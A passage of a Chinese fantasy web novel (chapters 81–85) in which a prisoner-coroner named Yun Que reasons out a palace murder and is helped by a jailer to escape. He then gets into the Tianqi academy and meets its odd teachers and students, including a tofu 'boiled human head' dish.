“陛下只命我们刑部查案,司天监没来过问,说明那边没接到皇命,我等身为臣子,自当为陛下效力,皇宫命案事关重大,哪怕司天监接手,我们也得协助查案,尽快抓获凶手。” 缉捕司郎中陈洲骅迟疑了一下,道: “大人,皇宫有没有丢失什么贵重物品,若有失窃之物,更容易顺藤摸瓜找到凶手。” 身为总捕头,陈洲骅别看是武夫,但心智绝对不低,否则也爬不到这个位置。 追查凶案,失窃之物是一个重要线索。 凶手如果求财,从皇宫里盗取了宝贝,那必定会在外面出售。 上官鸿途紧锁着眉峰,缓缓摇头道: “没传出失窃的消息,凶手只单纯的杀了人。” 陈洲骅闻言觉得不解,道:“潜入皇宫,只为了杀个宫娥,难道那凶手与这宫女有深仇大恨?” “不应该。”上官鸿途背着手分析道:“宫娥通常自小进宫,常年生活在皇宫,怎么会在外面结仇。” “那凶手的目的就奇怪了,总不会,是奔着陛下去的吧。”陈洲骅道。 上官鸿途再次摇了摇头,道: “凶手杀人的地方,距离陛下的寝宫极远,当真要刺王杀驾,他杀的就不该是宫娥,而是皇宫禁卫。” 案情至此陷入死结。 在场的一群刑部官人,可以说都是人中精英,偏偏此刻束手无策。 上官鸿途沉沉一叹,道: “尚书大人为此事夜不能寐,我等要尽快破局才行,限你们十天时间,无论如何都要查出凶手的消息。” 一听这话,其他人无不咧嘴。 别说十天,这种无头悬案,查上一年也未必有半点线索,更别提找到凶手。 犁术忽然想起了云缺,道: “大人,天牢里关着一名囚犯是藏石镇的仵作,下官曾经让他验过尸体,得出妖邪杀人论断的,就是此人,我看他头脑灵敏,思路别具一格,不如让他再来分析分析。” 上官鸿途一皱眉,喝斥道: “胡闹!皇宫重案,岂能让村镇里的仵作插手,你们提牢司的仵作难道都是饭桶不成!” “大人息怒,我是实在没办法了,况且那藏石镇的小仵作精通验尸,他杀过不少人,对这起命案的行凶手法应该比我们熟悉。”犁术连忙辩解道。 精通验尸的仵作,上官鸿途不在乎,刑部最不缺的就是仵作,但听到杀过不少人,这位刑部侍郎有些意外。 “何人如此猖狂,身为仵作,居然还敢伤人害命。”上官鸿途沉着脸问道。 “那人叫云缺,大人应该有点印象,他的花名册还是大人亲自批复的。”犁术道。 “是他啊……”上官鸿途的神色变化了一下。 他自然知道云缺,因为花名册上的待审二字,便出自他手。 并非上官鸿途想拖着云缺的案子,而是尚书大人亲自吩咐,上官鸿途也不知缘由,只能照办,这几天他也在奇怪呢。 沉吟了一下,上官鸿途点头道: “把那云缺叫来。” 犁术连忙领命,吩咐吴鹰去带云缺过来。 中午没吃多少,云缺正等着晚饭呢,见吴鹰出现,却没带食盒,空手而来。 “大人寻你过去问话。”吴鹰打开牢门,在云缺耳边道:“刑部侍郎在场,说话注意分寸。” “这次又验尸么。”路上,云缺问道。 “还是上次的尸体,犁大人举荐你,说你头脑清晰,让你查一查凶手是否留下其他线索。”吴鹰边走边埋怨道:“这种悬案本该司天监接手,算我们倒霉,查不出线索,少说被罚没俸禄,没准连官职都不保。” 吴鹰对自己不错,听其抱怨,云缺笑了笑道: “吴师兄想要保住官职不难,我知道凶手是谁。” 吴鹰的脚步豁然一顿,回头看了看云缺,疑惑道: “别拿师兄寻开心,单凭一具尸体,你能确定凶手?” “这件凶案看似诡异,其实简单。” 云缺笑道:“凶手是内鬼,此人一定是庙堂中人,有官职在身,而且他的身份,让他出现在皇宫附近可以不受任何人怀疑,只要将案发当天,所有接近过皇宫的官员与军兵全部抓起来,逐一排查,自可找出真凶。” 吴鹰听得很仔细,锁着眉头道: “凶手杀人必定远遁,难道他还会留在皇城,胆子未免太大。” “逃走,更容易被人发现端倪,吴师兄别忘了,凶手有官职在身,所以他不能走,否则会引来嫌疑。” 云缺笃定道:“凶手很聪明,但他忘了一点,他的官职是他的护身符,也是他的破绽,他当天肯定接近过皇宫,而且是明目张胆的接近,有着外人根本不会怀疑的理由。” 吴鹰的眉头锁得更深几分,道: “内鬼……此人的目的究竟是什么呢,总不会为了杀个宫娥。” “皇宫里没丢东西么?”云缺奇怪道。 “暂时没有。”吴鹰摇头道。 “不应该啊,那凶手肯定盗取了皇宫里的某件重宝,被宫娥无意间撞到才杀人灭口,难道皇帝的宝贝太多,数不过来?丢了东西都不知道?” 云缺说得轻松随意,吴鹰听得神色愈发沉重。 两人此刻停留的位置,是一个十字路口。 往前,是通往存放尸体的地方,沿路两侧燃着火把,十分明亮。 两侧,则显得昏暗阴沉,通道尽头漆黑一片。 吴鹰很快迈动脚步。 他没往前走,带着云缺转向了右侧昏暗的通道。 第82章 师兄得罪了 虽然只去过一次验尸的地方,但云缺的记忆力极好,早已记住了路线。 与吴鹰转进右侧通道后,云缺发现走错了。 “吴师兄,我们不是验尸去么。”云缺道。 “跟我走。”吴鹰大步走在前面,没有解释。 云缺觉得奇怪,没多问。 不多时,两人走到通道尽头,吴鹰打开一扇屋门走了进去。 屋子很大,摆设得考究,空间宽敞,一看就不是狱卒能住的地方,应该是提牢司令史们的休息室。 进屋后,吴鹰关上门,拿出一套狱卒的衣服。 “吴师兄这是……”云缺愣了下。 吴鹰笑了起来,道: “今天是天祈学宫考核的日子,天还没黑,如果你速度够快的话,有机会赶得上。” 云缺大为诧异,道: “我若逃走,吴师兄的罪名肯定不小,私放天牢重犯,可不是降级的责罚。” 吴鹰从一侧的柜子里拿出卷宗,扔到桌上。 “这几天我一直在调查你的案子,卷宗我看过多次,你非但无罪,反而有功。” 时间有限,吴鹰语速极快的简略解释道: “我私下里联系过知远县那边的刑部官差,他们已经调查过乌家寨,传回一个消息,现场被人动过手脚,应该是当地府衙所为,烧成焦炭的废墟里没发现军中重弩,由此判断,知远县府衙里有人被买通。” 喘了口气,吴鹰继续说道。 “不过被买通的那些家伙,手脚不太利索,他们清理了废墟,却遗忘了地底密室,刑部的人在乌家寨密室发现不少好东西,上百具变异怪人的尸体,两头七阶妖兽的残尸,外加许多军中才有的战刀与重盾。” “这些证据,足以证明乌家寨是叛军,灭九族的罪名,如今叛军被你云缺一人覆灭,尽管你杀掉三百多人,又何罪之有呢,皇帝根本不会治你的罪,反而应该嘉奖。” “你的卷宗上印着待审标志,我打听过,是尚书大人亲自下的命令,究竟有何目的,我不得而知,不过我看得出,这件案子肯定要拖上很久。” “今天是最佳良机,错过今日,我也很难找到机会放你出去,至于你越狱的罪名无需担心,你的案子有隐情,早晚会真相大白,没人会揪着越狱之事不放,否则详查下去,谁下令拖着你的案子,谁就得落个骂名,最后极大概率会就此作罢,大事化小,小事化了。” 一口气将利弊说完,吴鹰默默等待着云缺的回复。 云缺当然要走。 当即点头,不过问了一个问题。 “乌鸡镇远在极西之地,距离皇城至少半月路程,吴师兄这几天如何得到的消息?” 吴鹰哈哈一笑,道: “晋国各大郡县均有刑部官差驻扎,如何传输消息是刑部的秘密,告诉你也无妨,我们刑部有一种特制的传讯符,万里之外的消息,不用一个时辰即可传回。” 云缺恍然的点点头。 刑部的传讯符肯定不便宜,这种好东西在藏石镇衙门里根本没有。 换上衣服,云缺摇身一变,成了个年轻的狱卒。 拱了拱手,云缺诚心谢过吴鹰。 若没有人家,自己想逃出天牢实在太难。 最难得的是,现在逃出去,有机会赶得上天祈学宫的考核! “进了学宫,你便彻底安全,即使知道你的下落,刑部也没辙,天祈学宫内,大晋律法无效。” 吴鹰说着将一个装公文的袋子交给云缺,道:“里面是白纸,出去扔掉即可,你出门的时候记得加快些脚步,装作焦急一些,若门口官兵询问,你只说出去办事,通常没人会拦着。” “吴师兄心细如发。”云缺赞道。 拿着袋子,从外表一看就是替某位大人办事,再加快点脚步,更能显得是急事,除非不长眼的军兵才会阻拦,否则肯定不敢多问。 临走前,吴鹰指了指自己的脸,笑道: “用你全力出拳,轻了的话,师兄我可不好交差,放心,我是七品炼神境武者,扛得住你一拳!” 吴鹰的打算,云缺懂。 私自放走天牢囚犯,吴鹰的罪名不小。 如果是囚犯打伤了他这位令史自行逃脱,那吴鹰的罪名就没多大了。 云缺深吸一口气,周身气机转动,以全力轰出一拳。 这一拳毫无保留,完全是八品武夫最强一击! 嘭! 拳头砸在吴鹰的侧脸,将其轰得脚下离地,直至撞到墙壁才停住身形。 再看吴鹰。 完好的半张脸此刻肿了起来,与没毁容的半张脸加起来,拼凑出一张要多古怪有多古怪,要多难看有多难看的脸,乍一看都认不出来了。 “师兄得罪了,我欠你一拳,回头给你买药敷脸。” 云缺扭头离开。 等他走了之后,吴鹰晃了晃头,这才清醒许多。 “好小子!下手真不留情啊,若非七品巅峰,这一拳能把我揍趴下。” 吴鹰揉着脸苦笑。 笑着笑着,他神色变得复杂起来,坐在屋子里一语不发。 估摸着云缺差不多离开了天牢,吴鹰返回之前的路口,往地上一趴,装作昏厥。 很快有人发现吴鹰。 犁术,陈洲骅,上官鸿途等人匆匆赶来。 等一众同僚把吴鹰翻过来,全吓了一跳。 要不是穿着官服,差点没认出来。 鼻青脸肿,狼狈不堪。 好不容易唤醒吴鹰,上官鸿途怒道: “到底怎么回事,天牢里,你怎会伤成如此模样?” “大人!属下该死!”吴鹰沙哑着嗓子道:“属下奉命带那云缺过来,谁成想途中他暴起伤人,将我重创,逃之夭夭,属下没用!” “跑、跑了?” 犁术的眼睛瞪得老大,一脸的不可置信。 这里是天牢,自从大晋立国以来,从未出现过天牢重犯逃狱的现象。 没人能逃得出去! 天牢不仅有重兵把守,还有法阵存在,强行闯出去要面对无数武道高手,得杀出一条血路来才行。 现在的情况是,除了吴鹰被打昏之外,外面什么动静都没有! “此子、此子!”上官鸿途气得脸色苍白道:“好大的胆子!” “大人莫急,我亲自带人追踪此人,活着见人,死了见尸!” 督捕司的陈洲骅当即请令道。 “对!皇城重地,重兵镇守,他肯定逃不远!”犁术在旁边咋呼道。 刑部督捕司的总捕头与一众令史都在这呢,这帮人全是武者,专门负责追捕要犯,纷纷抽刀要追杀而去。 上官鸿途很快冷静下来,吩咐道: “等等!此事不宜外扬,你们把刀收起来。” 以上官鸿途担任刑部侍郎多年的经验,他大致猜得出云缺应该没罪,而且吩咐待审的,有可能是皇帝。 第83章 特殊考核 天祈学宫设置的十二个考核点,对应着十二殿,均是宽敞的临时棚屋。 其他屋子里早已空荡荡,唯有边缘处一间棚屋外坐着个二十岁上下的年轻人。 此人微胖,看起来有点憨厚,正脑袋一点一点的打着瞌睡。 云缺看到有人,心头升起一丝希望。 来到近前后询问道: “这位兄台,现在还能考核吗?” “哎呦,天都黑了!我怎么睡着了。”微胖青年睁眼看了看云缺,道:“你是来考试的?来晚了呀,已经结束了。” “路上耽搁了时间,昼夜兼程才赶到皇城,兄台能不能通融通融。”云缺说着好话。 微胖青年见云缺说得真诚,犹豫着回头看了眼棚屋。 云缺以为这位向谁请示,跟着看了眼,屋子里根本没人。 见屋子里没动静,微胖青年点头道:“你是最后一个,可得快着点,叫什么名字,在我这里登记。” 云缺报上名号,又将牧青瑶的学宫身份令牌取出。 “牧青瑶……呀!你有灵芸郡主的举荐!你肯定很厉害!” 微胖青年吃惊道,手里没闲着,很快完成了登记,将云缺带到棚屋里,指着一个木架道:“开始吧,限时一炷香。” 云缺一头雾水。 “这位师兄,我们这里,考核的是啥呀?” 屋子里连个人都没有,空荡荡只有个蒙着白布的大木架子。 微胖青年比云缺还吃惊,惊讶道: “你不知道啊!” 云缺心说这不废话呢,我连你这里是什么殿都不知道,只剩最后一个考核点,没得选呐。 “刚进城,以前没考过,实在不知道规则,还请师兄解释一二。”云缺客气的道。 “规则简单,只要能说出死因即可通过。” 微胖青年说着将白布掀开,现出里面的一具尸体。 云缺大为意外。 又验尸? 天祈学宫,传授天下学问,怎么考核还有考验尸的,难道学宫里缺仵作了? 尽管满腹疑惑,但验尸是老本行,对云缺来说毫无难度。 反正也没有别的选择,想要进学宫,这是唯一的机会,于是云缺不再多想,开始观察尸体。 尸体是名枯瘦如柴的老者,样貌阴鸷,闭着眼,头发灰白,穿着一身布衣,看样子即将下葬。 简单翻看了一下,云缺不由得皱起眉。 这具尸体很古怪! 身体没有伤口,皮肤没有毒斑,七窍没有血迹,身形虽然瘦削,但血肉充足,绝非久病而亡的模样。 不是外伤,不是重病,不是中毒,也不是内伤…… 云缺很快排除掉一个个死因,最后得出一个结论。 这具尸体,可能是被气死或者吓死的。 这种结论有些奇葩,云缺没有莽撞的立刻下定论,而是问那微胖青年道: “不知今天有多少学子通过这次考核,看出了尸体真正的死因。” 微胖青年摇了摇头,道:“一个也没有。” “难道没人报名?”云缺奇怪道。 “当然有报名的!尽管我们比不上别的考核点人多,今天一天至少也有百多人报名!”微胖青年道。 套出话之后,云缺心头微动。 不对! 正确的答案,肯定不是气死与吓死。 能通过初试参加学宫最终考核的学子,肯定没多少笨蛋。 上百人验尸,其中若有聪明些的,肯定会选气死或者惊吓而亡。 结果没有一人通过! 其中肯定有古怪。 云缺重新仔细的查验一番尸体。 以他多年与妖兽尸体打交道的经验来看,面前的尸体血肉完好,骨骼完整,只能符合暴毙而亡,类似天牢的九头鼠。 第84章 百花殿里奇葩多 天祈学宫,占地极广,十二座殿堂如星斗般遍布其中。 鸿儒殿,道山殿,佛心殿,演武殿,灵匠殿,回春殿,御兽殿,兵道殿,仙丹殿,傀儡殿,灵植殿,百花殿。 十二殿犹如十二朵鲜花,于学宫之内争奇斗艳,各展才华。 学宫内修建得古香古色。 参天奇树,池塘小桥,亭台楼阁,怪石竹林。 走进学宫,犹如走进一处世外桃源,令人心旷神怡。 一进大门,便是一处宽敞的空地。 空地中心,立着一座三丈多高的铜像。 铜像是位中年文士,一手持书卷,一手持戒尺,举目远眺,气宇非凡。 尽管只是铜像,但看到之人,都会感受到一股文风袭面,仿佛那铜像便是世间的道理,是大道之一。 云缺一眼便认出。 那是儒圣! 一手开创出儒道体系的世间强者,超越了一品桎梏的一代大贤! 天祈学宫,千年前由儒圣亲手创建。 儒圣博学,胸襟坦荡,建立学宫之初,便将学宫定为兼容百家之学,相互争鸣,彼此论道之地。 天祈学宫因此被后人誉为百家争鸣的圣地。 儒家、道门、武道、佛门,乃至各种杂学,均在学宫有一席之地。 但天祈学宫唯独不收巫修,也从来没有巫修强者授课。 这一点有人猜测是圣人不喜巫修的阴毒手段,所以学宫鄙弃了巫修一脉。 也有人猜测是巫修强者曾经得罪过圣人,以至于学宫内再无巫修的位置。 天祈学宫建成已有千年之久,兼容天下百道而独弃巫修的真相,早已无人得知。 百花殿,位于学宫西侧。 云缺跟着木安走了良久才到地方。 穿过月亮门,入眼是一大片郁郁葱葱的草地,方圆数百丈,极为宽敞。 在草地四个方向,各自建着一座三层高楼。 楼内灯火辉煌,远远能听到人声不断,格外热闹。 这里便是百花殿的四座学楼。 每一座都比街上酒楼还要宽敞,其内有学子们的居所,有先生授课的讲堂,有专门悟道的静室,有切磋较量的演武场,还有些用来研习各类学问的专属房间。 此时已然入夜,学楼中心的草地上仍旧有学子们来来往往。 有人在谈笑,有人在争执,有人在对弈,有人在比试,也有一对对年轻男女在月下漫步,倾诉衷肠。 云缺第一次看到如此多的年轻修行者汇聚在同一个地方。 这还仅仅只是十二殿中的一殿而已! 可想而知,整个天祈学宫会有多么热闹,多么朝气蓬勃! 感慨之际,云缺与木安来到西楼前。 其他东南北三座学楼,全都热热闹闹,哪怕暂时没有先生的北楼里都亮着许多灯火,唯独西楼,一点亮光没有,黑漆漆,阴森森,偌大的楼宇跟个鬼屋似的,与其他三座学楼格格不入。 站在黑漆漆的西楼前,云缺点了点头。 不错,像个坟。 到了这里,云缺没来由的多出一种归属感,仿佛回到了青狐山。 木安不好意思的挠了挠头,道: “我去点灯,整个学宫,就属我们这边安静,嘿嘿。” 总共俩学子,一个先生,住三层楼,能不安静么。 云缺倒是无所谓。 他从小住的地方就是坟,换成大点的坟也一样住。 一楼大厅里燃起烛火,西楼总算多了点人气儿。 “西楼的学子居所都空着呢,云师弟想要住哪间,自己挑就好,今天太晚了,明天我带你去领取学子服,每人三套。”木安道。 “木师兄,我们这边到底学的是什么,先生的大名我还不知道呢。”云缺道。 “我们先生姓墨,尊号不详,叫他墨先生,墨老都可以。” 木安一边烧水沏茶,一边讲解道:“墨老主要传授断案与验尸,偶尔也会讲授些道家养神的心法。” “难怪西楼没人来,原来这里学的是捕快和仵作。”云缺一听就明白了。 捕快仵作放在藏石镇没什么,正常职业,甚至有些穷苦百姓还挺羡慕。 但放在天祈皇城,放在学问圣地的天祈学宫,显然是最底下的两个行当,根本没人看得起,属于走在路上提一嘴,街边野狗都得翻白眼的那种。 木安尴尬地挠了挠头,道: “不瞒你呀,我从小就梦想着当一名神捕!满天下缉拿罪犯,多威风!” “为了梦想而求学,木师兄是个有抱负的人。”云缺说了句夸赞。 木安变得更尴尬了,嘿嘿笑道: “其实不算什么抱负,当年我报考别的学殿没考上,墨老又给了我个机会考百花殿西楼,我这才成功通过。” 原来是个捡漏的。 云缺没去嘲笑,毕竟人家运气好,于是问了句: “你当时考的什么,不会也是验尸吧。” “是啊!跟你一样,墨老假扮尸体。”木安道。 “可以啊木师兄!没想到你的眼力如此毒辣,墨老假死的能耐,我险些没看出来。”云缺道。 若非心思缜密,云缺今天差点答错,墨老假死的状态跟尸体简直一模一样,毫无破绽可言。 木安的表情愈发尴尬,张了张嘴,最后叹气道: “嗐!不是我眼力好,当时墨老亲自把我带进考核的棚子,然后他倒在那里让我验尸,问我他是怎么死的。” 云缺听完一时无语。 西楼缺人都缺到这种地步了…… 与木安闲聊一阵,云缺得知了百花殿的大致情况。 北楼暂时没有先生,整座楼变成了一些学子们修炼的地方,喜欢安静的学子经常去北楼选间屋子闭关。 东楼先生叫做周无机,是位道门修士,据木安说,是个神神叨叨的老头子,传授堪舆、占卜、外加烹饪,做菜手艺不咋地,偏偏总逼着学生必须吃完,于是私下里得了个外号叫狗不理。 形容东楼先生做出来的饭菜,狗看见都不想吃。 云缺知道堪舆术,就是风水术,简单来说东楼先生是个风水先生。 南楼先生名为齐灵珠,是位女先生,据说是天下第一花魁,歌舞双绝,成名招式十八步剑舞名动天下,传授歌舞技法与杂学。 南楼学子是最多的。 其中不乏被齐灵珠美貌所吸引的男学子,女学子更有不少,有人不远万里从异国而来,专门为学习齐灵珠的歌舞,可见这位女先生的魅力有多大。 “百花殿里奇葩多,果然百花齐放……” 云缺听完百花殿的介绍,愈发觉得无语。 东楼的风水先生,南楼的第一花魁,外加一个西楼的死鬼,百花殿真是热闹。 就差北楼再来个老神棍,正好凑一桌。 喝了两杯茶水,云缺觉得肚子在抗议。 天牢里的晚饭没吃上,一路疾行赶到学宫,他早饿了。 这时其他几楼的学子们纷纷涌出,赶往一座单独建立的小木楼。 见云缺张望外面,木安解释道: “那边是饭堂,云师弟若是饿了可以去吃饭,我手头儿还有些事要忙,今天不吃了。” 云缺道了声好。 到了饭堂之后,云缺傻眼了。 饭菜不错,甚至还有酒,但是要钱! 原来天祈学宫只管住宿,不管吃喝,想吃饭必须自己掏腰包才行。 饭菜不算贵,价格比街上的酒馆酒楼便宜得多,大多是成本价。 可云缺身无分文,穿着的还是狱卒衣服。 包裹和银票都在天牢里呢。 云缺无声叹息。 天下间最痛苦的事,莫过于饿肚子。 比这更痛苦的,是饿肚子的时候偏偏没钱。 这可怎么吃! 学宫里又没有熟人,要是牧青瑶在的话就好了。 云缺准备饿一晚,明天想点办法,实在不行先找木安借点吃饭钱。 正准备离开饭堂,看到角落里坐着两人,云缺立刻眼前一亮。 其中一个是名壮硕青年,二十多岁,身形魁梧,头发编成几十根发辫,一副异域装扮,看起来生猛威武。 看到这人,云缺仿佛看到了一千两银票。 这人云缺并不认得,以前也没见过,不过此人的通缉令,贴得满城都是,走在路边即可看到。 刚进城那天云缺便发现了,特意看了看价格,赏金一千两。 学宫里居然还有通缉犯? 云缺意外之下,没急着离开,而是坐在两人旁边的空位。 辫子青年好像胃口不大好,面前摆着饭菜,他半晌不动筷子,闷闷不乐的道: “这什么饭菜啊,又软又糯跟米汤似的,叫我怎么吃!半生不熟带血丝的那种才有嚼头!” 另一名青年虽然身形没那么壮硕,但也体质极好,手掌宽大,手心全是老茧,一看便是武者。 他劝慰道: “有学问的都这么吃,咱也学着吃呗,我吃着就挺好啊,多吃几年我们就习惯了。” “习惯了锦衣玉食,忘记了苍狼长啸,别忘了我们是草原上的雄鹰!天生就要生食血肉!这种米汤我才不吃!”辫子青年冷哼着撇过头。 他打的饭菜其实是正常饭菜而已,谈不上米汤,可能这位牙口太好,吃不惯煮熟的食物。 “大汗,别耍脾气,不吃的话你会变得虚弱,对我们武者不利。”另一名青年好心规劝。 名为大汗的辫子青年越发来劲,把筷子一摔,道: “今天没胃口!爱谁吃谁吃,反正我不吃了!” 这时旁边传来声音,道:“这位师兄,你不吃的话,那我吃了啊。” “随便吃!” 大汗气哼哼的说了句,一回头,看到一个陌生人坐到对面,捧着他新打的饭菜埋头大吃。 不大会儿的工夫,饭菜皆空。 大汗看得惊讶不已,道: “草原上的狼群都没你吃得快,你饿了多久?” 云缺抬起头,拍了拍肚子笑道: “武夫,半天就饿,多谢师兄款待,对了,明天的早饭你吃不吃?” 名为大汗的青年瞪了半天眼,愣没敢接话。 他现在也饿了,正后悔晚饭丢了呢。 “明天……明天看我有没有胃口!”大汗硬气的说道,可惜肚子不争气的叫了起来。 “我再去给大汗打一份。”旁边的年轻人起身又去打饭,临走时犹豫着道了句:“我们的银子不多了。” 大汗听完,硬气的神色随之垮了下去。 “师兄是草原人?”云缺道。 “你怎么知道!”大汗惊讶道。 云缺笑了笑,心说你这打扮,就差没把蛮子俩字刻在脑门上了。 “见过师兄的画像,街上快贴满了。”云缺道。 “真的?有多少张,不会很多吧?”大汗心虚的道。 “不多,一条街只贴了几百张而已。”云缺道。 大汗听完,顿时愁眉苦脸,肚子饿得咕咕叫,却没有半点胃口。 于是云缺顺理成章的又吃了一份儿晚饭。 第85章 水煮人头 云缺终于吃饱了,也得知了大汗与他同伴的身份。 两人都是草原蛮族,大汗本名叫做屠苏,来自草原天鹰部。 大汗这种称谓,通常是草原部落对首领的尊称。 另一人是屠苏的伴当,名叫满申。 得知两人的名号,云缺差点把晚饭喷出来。 一个满申,一个大汗,合起来是个好词儿。 满身大汗。 “屠苏师兄不远万里到学宫求学,一路上肯定不容易。”云缺道。 “何止不容易!爬悬崖绕过黑铁城的时候差点把我俩摔死,要不是命大,哪能混进学宫!”屠苏道。 满申在旁边苦着脸纠正道: “大汗,我们不是混进学宫,是考进的学宫。” “哦对!考进的学宫,混进的天祈城!”屠苏一拍桌子道。 随后两人才注意到云缺的穿着。 学宫里有专门的学子服,听课的时候是要穿的,其他时间可以随意穿戴自己的服饰,不过云缺穿着狱卒的衣服,前心有个明显的‘狱’字。 “你是……官差?”满申狐疑道。 “官差!你想缉拿我!”屠苏大惊,道:“晋国律法在学宫里无效!你敢抓我就是坏了学宫的规矩!” 云缺笑着摆手道: “不抓人,我是新来的学子,还没领到学子服,别误会。” 屠苏和满申放心下来,不过随后又觉得惊奇。 “晋国果然人才多,连狱卒都能考上学宫了!”屠苏羡慕道。 云缺呵呵了两声,没去解释。 心说咱俩同病相怜,你的通缉令贴了满街,我的通缉令估计也不少,价钱一样,都是一千两。 当然家丑不外扬,这种事哪能往外说。 “大汗有没有想过,求学之后,如何回到草原。”云缺道。 “呃……”屠苏和满申都愣住了。 这个问题,他们的确没想过。 现在想起来,好像自己没了退路! 估计一出学宫,就得被抓起来关进天牢。 草原蛮族与大晋是死对头,边境区域经常开战。 他们在学宫里求学,晋国没办法,可一旦出了学宫,屠苏和满申肯定会被缉捕。 “等我在学宫修为圆满,大不了杀出去!一路杀回草原,拆了黑铁城!再拧掉阜南王的脑袋!”屠苏恶狠狠的道。 云缺很想给这位出个主意,在学宫直接养老,就两个人,得修到多高的境界才能从天祈皇城杀到草原。 纯粹两个莽夫。 听到阜南王的名号,云缺又多问了句。 “不知屠苏师兄的天鹰部,有多少手下。” 云缺打算帮牧青瑶刺探一番敌人的消息。 屠苏气势汹汹的伸出两根手指,道:“两万!” “不少啊,听说蛮族战士能征善战,一万人马敢冲锋晋国十万大军。”云缺继续套话。 “十万算什么!你们晋国就算百万大军当前,我们天鹰部也敢冲锋陷阵!”屠苏得意道。 云缺听得暗暗心惊。 莫非天鹰部有两万武夫? 两万普通蛮人,算不得多强的战力,可若是两万武夫汇聚在一起,那杀伤力可就吓人了,阜南王都未必挡得住。 为了打听清楚,云缺绕了个弯子问道: “这么多战士,每天吃肉不得几万斤,天鹰部看来财力雄厚。” “吃什么肉,它们不吃肉,只吃草。”屠苏随口道。 “吃草?”云缺奇怪道。 旁边的满申实在听不下去了,用手捂着脸。 “羊不吃草吃什么!”屠苏瞪着眼睛道。 云缺深吸一口气,忍住了揍这家伙一顿的冲动。 羊那玩意,别说敢冲锋,你挖个火坑它都敢往里跳。 “你们天鹰部到底有多少人。”云缺直接问道。 “全加起来九百多人!等转过年,有娃儿降生,估计能到一千。”屠苏认真的算计着。 云缺叹了口气。 他在这帮着阜南王刺探军情,结果刺探了个寂寞。 什么天鹰部。 除了名号听起来唬人之外,加起来还没藏石镇的人多呢。 估计阜南王派出个小队,就能把天鹰部给屠了。 屠苏本想再弄份晚饭,结果饭菜全卖没了。 云缺反正吃饱喝足,就此离开。 在百花殿转了转。 发现南楼确实是个好地方,女学子最多,环肥燕瘦,莺莺燕燕,全是年轻女孩,几乎看不到丑的。 有几个身着舞裙的女学子正在楼内大厅演练舞蹈,举手投足间美丽动人,旁边围观的男学子一个个看得直流口水。 站在楼外欣赏了一番,云缺大为感慨,并发下宏愿。 “藏石镇的女人都看过了,既然到了这里,该当看遍女同窗出浴,才不枉来一次天祈学宫啊。” 云缺的这番宏愿最后能否实现,没人知道,不过这宏愿若是被儒圣听见,怕不得当即被气死。 圣人创建学宫,为百花争鸣之地。 到了云缺这里,成了欣赏美人出浴的好地方。 不过云缺是有底线的人,只动眼睛不动手。 万花丛中过,我只过眼瘾。 至于会不会被人发现给打死,云缺是有把握的。 藏石镇县衙守卫深严,马小脚的女儿还不是被他看过上百次。 欣赏过南楼的歌舞,云缺走到东楼。 这边更热闹。 楼下大门口架着个大铁锅,里面咕嘟嘟不知煮着什么食物,上面有盖子,闻着还挺香。 一群学子围在四周,议论纷纷,都在猜测锅里的食材。 云缺站在旁边看热闹。 这时一个瘦老头从楼内走了出来,大厨打扮,迈着方步。 一看到此人,铁锅旁围观的学子呼啦一声散去一大半,站在很远的地方往这边张望。 铁锅旁还剩下十几个学子。 人一少,云缺发现屠苏和他的伴当满申也在。 可能这位大汗饿了,盯着大锅一个劲咽口水。 云缺不认得瘦老头,认为是个厨子在准备宵夜,于是好奇的看着。 “跑什么,一群没口福的。” 瘦老头瞪了眼远处的学子们,将目光落在剩下的十几人身上,道:“你们几个走运了,今天新研制的菜品,让你们尝尝鲜。” 闻听此言,剩下的十几人纷纷脸色发苦,想要走,又不敢动地方,只能哭丧着脸站在原地。 云缺已经猜到了瘦老头的身份。 应该是百花殿东楼先生,周无机。 木安提过,这位先生外号叫狗不理,经常鼓捣些古怪的菜肴,味道不咋地还非得让学子们吃完才行。 周无机看了看火候,点头道: “差不多熟了。” 说着掀开锅盖,里面热气升腾,隐约看到一些圆滚滚的东西在锅里翻滚,看不清是什么。 周无机挽起袖子,伸手在沸水中捞出一物,对离着最近的屠苏道: “你先尝尝,你想吃耳朵呢,还是鼻子呢。” 屠苏看清对方手里的东西后,一张大脸瞬间变得惨无人色,一个劲干呕。 幸好他刚才没吃晚饭,否则这阵子直接能吐出来。 周无机手里拿着的食物,竟是一颗人头! 大锅里翻滚的,也全是人脑袋。 东楼之下,水煮人头! 大锅旁的学子纷纷捂住嘴,脸色苍白,远处的那群学子则在暗暗庆幸,幸亏跑得快。 “我、我不饿啊先生!”屠苏玩命的摇头。 他是想吃生食没错,最好是半生不熟的,但那是羊肉牛肉之类,可不是人脑袋! “不饿?不饿也得给我吃!”周无机一瞪眼。 屠苏想跑,结果脚下生根了一样,被周无机以法力困住。 正在屠苏忍不住要吐的时候,旁边传来吃东西的响动和一道声音。 “还行,味道不错。” 屠苏一扭头,正看到云缺手里捧着人头,嘴里嚼着个耳朵。 这下屠苏实在忍不住了,蹲在地上呕吐起来,把胆汁都吐了出去。 本来水煮人头已经够可怕了,更可怕的是居然有人还真敢吃! 不仅屠苏在吐,周围的十几个学子都在吐,连远处逃跑的那些学子在看清云缺吃人头后,有一半都开吐。 等屠苏吐得差不多了,又听云缺说道: “豆腐做的。” 的确是豆腐人头。 只是做得太过逼真,云缺手里的人头是名少女模样,五官俱全,惟妙惟肖。 屠苏一听,眼泪直接出来了。 豆腐做的你早说啊! 我都吐完了! 周无机朝云缺投去赞许的目光,颔首道: “你不错,知道尊师重道,美食当前,先尝为敬!单单这一点就比其他学子要强得多,今后我做的美味佳肴,你有特权优先品尝!” “多谢先生。”云缺笑着施礼道:“不知这颗人头菜,学生能否带回去仔细品尝。” “拿去吧!”周无机一挥大袖,很是痛快的道。 随后云缺捧着人头,大步流星返回西楼,路上不少学子看他的目光都变得格外怪异。 能吃得下周无机做的饭菜,这得饿到什么地步? 其实豆腐人头根本没啥味道,谈不上好吃。 云缺没钱呐! 带回去一颗,明天的早饭就有了。 回到西楼的时候,已是深夜,整座楼内漆黑一片。 云缺随便在一楼找了个房间准备睡觉。 这是个两人间的住所,地方宽敞,两张床分别摆在屋子两侧,隔着很远。 进来之后,云缺发现有人了。 一张床上躺着个微胖的身影,一动不动,看样子已经熟睡。 既然木安睡着了,云缺也没点灯,把豆腐人头放桌上后,倒在另一张床上呼呼大睡。 西楼屋子有的是,现在黑灯瞎火的,等明天再找间合适的。 一夜无梦。 天亮后,云缺起床,抻了个懒腰,浑身筋骨噼啪作响。 一看对面,木安不见了。 舒展一番筋骨后,云缺捧着豆腐人头出门,打算热一热再吃。 在大厅正好碰见木安。 